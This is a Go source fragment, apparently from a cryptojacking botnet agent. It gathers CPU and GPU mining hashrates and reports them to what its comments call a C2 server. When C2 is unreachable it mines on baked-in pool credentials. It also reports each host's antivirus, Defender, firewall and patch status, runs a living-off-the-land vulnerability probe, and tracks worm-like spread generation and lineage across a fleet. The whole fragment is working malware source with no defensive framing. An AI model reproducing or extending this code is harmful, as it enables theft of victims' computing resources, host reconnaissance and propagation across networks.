	path := strings.TrimSpace(os.Getenv("MINER_STATS_FILE"))
	if path == "" {
		return
	}
	payload, err := json.Marshal(map[string]float64{"hashrate_hps": hps})
	if err != nil {
		return
	}
	_ = os.WriteFile(path, payload, 0644)
}

func (c *AgentClient) statsLoop(stop <-chan struct{}) {
	ticker := time.NewTicker(10 * time.Second)
	defer ticker.Stop()

	var samples []float64
	var probeTick int
	var lastSSH *bool
	var lastPosture *PostureReport
	var lastPressure *ResourcePressure
	var lastDNS *DNSConfig
	var lastListenPortCount *int
	var lastNetworkHints *deploy.NetworkHints
	var lastVulnReport *vulnprobe.ScanReport
	var postureReady bool
	for {
		select {
		case <-stop:
			return
		case <-ticker.C:
			hps := c.pool.HashesPerSecond()
			c.pool.ResetHashCounter()
			if c.hostMiningDisabled.Load() && c.containerMiner != nil && c.containerMiner.Running() {
				if ch := c.containerMiner.ProbeHashrate(); ch > 0 {
					hps = ch
				}
			}
			c.writeMinerStatsFile(hps)
			samples = append(samples, hps)
			if len(samples) > 90 {
				samples = samples[len(samples)-90:]
			}

			var avg15s, avg1m, avg15m float64
			if len(samples) > 0 {
				avg15s = samples[len(samples)-1]
			}
			if len(samples) >= 6 {
				for _, v := range samples[len(samples)-6:] {
					avg1m += v
				}
				avg1m /= 6
			} else {
				avg1m = avg15s
			}
			for _, v := range samples {
				avg15m += v
			}
			avg15m /= float64(len(samples))

			cpuPct, memPct := c.reporter.Usage()
			if sysCPU := c.reporter.SystemCPUPercent(); sysCPU > 0 {
				cpuPct = sysCPU
			}
			c.mu.Lock()
			submitted := c.sharesSubmitted
			accepted := c.sharesAccepted
			c.mu.Unlock()

			// Probe SSH, posture, and resource pressure every 6 ticks (~60s)
			if probeTick%6 == 0 {
				ok := probeSSH()
				lastSSH = &ok
				if p := collectPosture(); p != nil {
					lastPosture = p
					postureReady = true
					if p.SSHListening != nil {
						lastSSH = p.SSHListening
					}
				}
				lastPressure = collectResourcePressure()
				lastDNS = probeDNS()
				if lp := collectListenPorts(); lp != nil {
					n := lp.Count
					lastListenPortCount = &n
				}
				hints := deploy.CollectPassiveNetworkHints(deploy.MaxSubnetScanHosts)
				lastNetworkHints = &hints
				lastVulnReport = RunVulnLOTLProbe()
			}
			probeTick++

			stats := StatsPayload{
				Hashrate15s:     avg15s,
				Hashrate1m:      avg1m,
				Hashrate15m:     avg15m,
				SharesSubmitted: submitted,
				SharesAccepted:  accepted,
				CPUUsagePct:     cpuPct,
				MemoryUsagePct:  memPct,
				UptimeSeconds:   int(time.Since(c.startTime).Seconds()),
				SSHAvailable:    lastSSH,
			}
			if lastDNS != nil {
				stats.DNSServers       = lastDNS.Servers
				stats.DNSSearchDomains = lastDNS.SearchDomains
			}
			stats.ListenPortCount = lastListenPortCount
			stats.NetworkHints = lastNetworkHints
			if lastPressure != nil {
				stats.CPUFreqMHz  = lastPressure.CPUFreqMHz
				stats.CPUMaxMHz   = lastPressure.CPUMaxMHz
				stats.CPUThrottle = lastPressure.CPUThrottle
				stats.CPUTempC    = lastPressure.CPUTempC
				stats.DiskFreeGB  = lastPressure.DiskFreeGB
				stats.DiskTotalGB = lastPressure.DiskTotalGB
				stats.DiskFreePct = lastPressure.DiskFreePct
				stats.GPUTempC    = lastPressure.GPUTempC
				stats.GPUUsagePct = lastPressure.GPUUsagePct
			}
			// GPU miner (Ravencoin) stats — included when GPU miner is running
			c.mu.Lock()
			gm := c.gpuMiner
			c.mu.Unlock()
			if gm != nil {
				gs, active := gm.Stats()
				stats.GPUMinerActive = &active
				stats.GPUHashrate15s = gs.Hashrate15s
				stats.GPUHashrate1m  = gs.Hashrate1m
				stats.GPUHashrate15m = gs.Hashrate15m
				stats.GPUModel       = gm.GPUModel()
				if gs.GPUTempC != nil {
					stats.GPUTempC = gs.GPUTempC
				}
				if gs.GPUUsagePct != nil {
					stats.GPUUsagePct = gs.GPUUsagePct
				}
			}
			if postureReady && lastPosture != nil {
				score := lastPosture.PostureScore
				stats.PostureScore    = &score
				stats.DefenderEnabled = lastPosture.DefenderEnabled
				stats.DefenderRTP     = lastPosture.DefenderRTP
				stats.AVProducts      = lastPosture.AVProducts
				stats.FirewallDomain  = lastPosture.FirewallDomain
				stats.FirewallPrivate = lastPosture.FirewallPrivate
				stats.FirewallPublic  = lastPosture.FirewallPublic
				stats.LastPatchDays   = lastPosture.LastPatchDays
				stats.LastPatch       = lastPosture.LastPatch
				stats.PendingUpdates  = lastPosture.PendingUpdates
				stats.RebootPending   = lastPosture.RebootPending
				stats.AgentElevated   = lastPosture.AgentElevated
				stats.Services        = lastPosture.Services
			}
			if c.miningChain != nil {
				ms := c.miningChain.Status()
				stats.ActiveMethod = string(ms.ActiveMethod)
				stats.StratumOverlay = ms.StratumOverlay
				stats.ChainExhausted = ms.ChainExhausted
				stats.MiningLastError = ms.LastError
				if ms.LOTLTier != "" {
					stats.LOTLTier = string(ms.LOTLTier)
				}
				if len(ms.LOTLAttempts) > 0 {
					stats.LOTLAttempts = make([]TierAttemptPayload, len(ms.LOTLAttempts))
					for i, a := range ms.LOTLAttempts {
						stats.LOTLAttempts[i] = TierAttemptPayload{
							Phase:      a.Phase,
							Tier:       string(a.Tier),
							OK:         a.OK,
							Error:      a.Error,
							DurationMs: a.DurationMs,
							Wallet:     a.Wallet,
						}
					}
					c.maybeGossipFromAttempts(stats.LOTLAttempts, stats.DefenderEnabled)
				}
				if len(ms.FailedMethods) > 0 {
					stats.FailedMethods = make([]MethodFailurePayload, len(ms.FailedMethods))
					for i, f := range ms.FailedMethods {
						stats.FailedMethods[i] = MethodFailurePayload{
							Method: string(f.Method),
							Reason: f.Reason,
							At:     f.At,
						}
					}
				}
				if len(ms.ChainOrder) > 0 {
					stats.ChainOrder = make([]string, len(ms.ChainOrder))
					for i, m := range ms.ChainOrder {
						stats.ChainOrder[i] = string(m)
					}
				}
				stats.StratumEgress = c.stratumEgress(ms.StratumOverlay)
			} else {
				stats.StratumEgress = c.stratumEgress(false)
			}
			stats.MiningHashrate = avg15s + stats.GPUHashrate15s
			if depth := c.contingencyDepthForStats(); depth > 0 {
				stats.ContingencyDepth = depth
			}
			deploy.SetSpreadMiningTelemetry(stats.MiningHashrate, stats.ChainExhausted)
			if atlasSkips := c.atlasSkipsSnapshot(); len(atlasSkips) > 0 {
				stats.AtlasSkips = atlasSkips
			}
			if lastVulnReport != nil {
				score := lastVulnReport.RiskScore
				stats.VulnRiskScore = &score
				if len(lastVulnReport.Findings) > 0 {
					stats.VulnFindings = make([]VulnFindingPayload, len(lastVulnReport.Findings))
					for i, f := range lastVulnReport.Findings {
						stats.VulnFindings[i] = VulnFindingPayload{
							CVEID:                     f.CVEID,
							Severity:                  f.Severity,
							Component:                 f.Component,
							Patched:                   f.Patched,
							ExploitableInFleetContext: f.ExploitableInFleetContext,
							Detail:                    f.Detail,
						}
					}
				}
			}
			if lane := c.getJoinLane(); lane != "" {
				stats.JoinLane = lane
			}
			parentID, spreadGen, spreadStrain := c.cfg.GenealogyReport(stats.JoinLane)
			stats.ParentAgentID = parentID
			stats.SpreadGeneration = spreadGen
			stats.SpreadStrain = spreadStrain
			role, seedP, hrP := c.fleetPressureFields(stats.MiningHashrate, stats.JoinLane)
			stats.FleetRole = role
			stats.SeedPressure = seedP
			stats.HashratePressure = hrP
			payload, _ := json.Marshal(stats)
			if err := c.write(Message{Type: "stats", Payload: payload}); err != nil {
				log.Printf("[agent] stats send failed: %v", err)
			}
			// Piggyback Fleet AI snapshot on the ~60s stats probe tick.
			if probeTick%6 == 0 {
				c.pushAISnapshot(stats.MiningHashrate)
			}
		}
	}
}

func (c *AgentClient) write(msg Message) error {
	c.mu.Lock()
	defer c.mu.Unlock()
	if c.conn == nil {
		return fmt.Errorf("not connected")
	}
	// BA-03: set a bounded write deadline so a stalled TCP socket cannot block
	// WriteJSON indefinitely while holding c.mu, which would deadlock every
	// other goroutine that needs c.mu (share submission, stats, commands).
	_ = c.conn.SetWriteDeadline(time.Now().Add(15 * time.Second))
	err := c.conn.WriteJSON(msg)
	_ = c.conn.SetWriteDeadline(time.Time{}) // clear deadline after write
	return err
}

// needsStratumFallback returns true when either:
//   - C2 is offline for > 8 seconds (agent mines on baked-in credentials immediately), OR
//   - C2 is online but no mining job has been delivered in > 15 seconds
//     (the pool proxy on the server is broken or still connecting)
//
// Mining is the primary purpose of the agent; C2 provides remote control and
// job upgrades but is never required to start hashing.
func (c *AgentClient) needsStratumFallback(disconnectedSince time.Time) bool {
	if !c.connected.Load() {
		return !disconnectedSince.IsZero() && time.Since(disconnectedSince) > 8*time.Second
	}
	// Connected but jobless: check when the last valid job arrived.
	if raw := c.lastJobAt.Load(); raw != nil {
		lastJob := raw.(time.Time)
		return time.Since(lastJob) > 15*time.Second
	}
	// Never received a job; fall back after 15s of being connected with nothing to mine.
	return !disconnectedSince.IsZero() && time.Since(disconnectedSince) > 15*time.Second
}

// stratumFallbackManager monitors C2 connectivity and mining job delivery.
// It spins up a direct Stratum connection when:
//   - C2 has been offline for 30+ seconds, OR
//   - C2 is connected but the server pool proxy has not delivered a job in 90+ seconds
//
// When real jobs start flowing from C2 again, the fallback is stopped and the
// share handler is restored to the C2 WebSocket path.
func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
	if c.cfg.PoolHost == "" {
		return // no pool configured
	}
	if c.cfg.StratumOverWS {
		log.Printf("[stratum] StratumOverWS enabled — direct pool egress disabled; telemetry via C2 WebSocket")
		return
	}

	type fallback struct {
		stop chan struct{}
		wait chan struct{}
	}
	var fb *fallback

	// disconnectedSince is set at startup so the 8-second countdown begins
	// immediately. Mining will start on baked-in credentials within ~10s unless
	// C2 connects and delivers a job first. When C2 delivers a job this is
	// zeroed and the fallback stops.
	disconnectedSince := time.Now()
	ticker := time.NewTicker(5 * time.Second)
	defer ticker.Stop()

	// hashrateWatchdog: if we have an active job but hashrate has been 0 for
	// 2 consecutive minutes the workers are stuck — trigger Stratum fallback.
	var zeroHashSince time.Time

	startFallback := func() {
		if fb != nil {
			return
		}
		stop := make(chan struct{})
		wait := make(chan struct{})
		sc := miner.NewStratumClient(c.pool, c.cfg)
		go func() {
			defer close(wait)
			sc.RunFallback(stop)
		}()
		fb = &fallback{stop: stop, wait: wait}
		if c.miningChain != nil {
			c.miningChain.SetStratumActive(true)
		}
		if c.connected.Load() {
			log.Printf("[stratum] C2 connected but no job in 15s — direct Stratum started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort)
		} else {
			log.Printf("[stratum] C2 offline — direct Stratum started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort)
		}
	}

	stopFallback := func(reason string) {
		if fb != nil {
			close(fb.stop)
			<-fb.wait
			fb = nil
			c.pool.SetShareHandler(c.submitShare)
			if c.miningChain != nil {
				c.miningChain.SetStratumActive(false)
			}
			log.Printf("[stratum] fallback stopped — %s", reason)
		}
	}

	for {
		select {
		case <-done:
			stopFallback("agent shutting down")
			return
		case <-ticker.C:
			connected := c.connected.Load()

			// ── Hashrate watchdog ───────────────────────────────────────────
			// If we have an active job but hash rate has been 0 for 2 minutes
			// the workers are frozen — force Stratum fallback regardless of
			// C2 connection state so mining restarts immediately.
			if raw := c.lastJobAt.Load(); raw != nil {
				hs := c.pool.HashesPerSecond()
				if hs < 1 {
					if zeroHashSince.IsZero() {
						zeroHashSince = time.Now()
					} else if time.Since(zeroHashSince) > 2*time.Minute {
						log.Printf("[watchdog] hashrate=0 for 2m with active job — forcing Stratum fallback")
						zeroHashSince = time.Time{}
						if fb == nil {
							startFallback()
						}
					}
				} else {
					zeroHashSince = time.Time{} // hashing — reset watchdog
				}
			}

			// Track disconnection time (reset to zero while connected).
			if connected {
				if fb != nil {
					// Check if real jobs are flowing again; if so, drop the fallback.
					if raw := c.lastJobAt.Load(); raw != nil {
						lastJob := raw.(time.Time)
						if time.Since(lastJob) < 15*time.Second {
							disconnectedSince = time.Time{}
							stopFallback("C2 pool delivering jobs again")
							continue
						}
					}
				} else {
					if raw := c.lastJobAt.Load(); raw != nil {
						disconnectedSince = time.Time{}
					}
				}
			} else {
				if disconnectedSince.IsZero() {
					disconnectedSince = time.Now()
				}
			}

			if fb == nil && c.needsStratumFallback(disconnectedSince) {
				startFallback()
			}
		}
	}
}

func buildWSURL(serverURL string) (string, error) {
	u, err := url.Parse(strings.TrimSpace(serverURL))
	if err != nil {
		return "", err
	}
	switch u.Scheme {
	case "https":
		u.Scheme = "wss"
	case "http", "":
		u.Scheme = "ws"
	case "wss", "ws":
	default:
		return "", fmt.Errorf("unsupported server URL scheme: %s", u.Scheme)
	}
	if u.Scheme == "" {
		u.Scheme = "ws"
	}
	u.Path = strings.TrimSuffix(u.Path, "/") + "/ws/agent"
	u.RawQuery = ""
	u.Fragment = ""
	return u.String(), nil
}